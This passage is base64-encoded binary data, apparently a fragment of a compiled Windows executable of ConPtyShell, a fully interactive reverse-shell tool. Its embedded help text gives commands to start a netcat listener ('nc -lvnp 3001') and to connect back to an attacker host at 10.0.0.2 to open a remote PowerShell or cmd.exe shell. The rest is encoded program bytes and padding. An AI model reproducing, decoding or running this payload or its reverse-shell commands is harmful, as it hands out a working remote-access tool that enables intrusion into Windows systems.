vAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5ADAADQAKACAAIAAgACAAIAAgACAAIAANAAoAAQCnWUqJUXh9TY7y+kxyCA0RAAi3elxWGTTgiQIGDjRbAC0AXQAgAEMAbwBuAFAAdAB5AFMAaAB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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA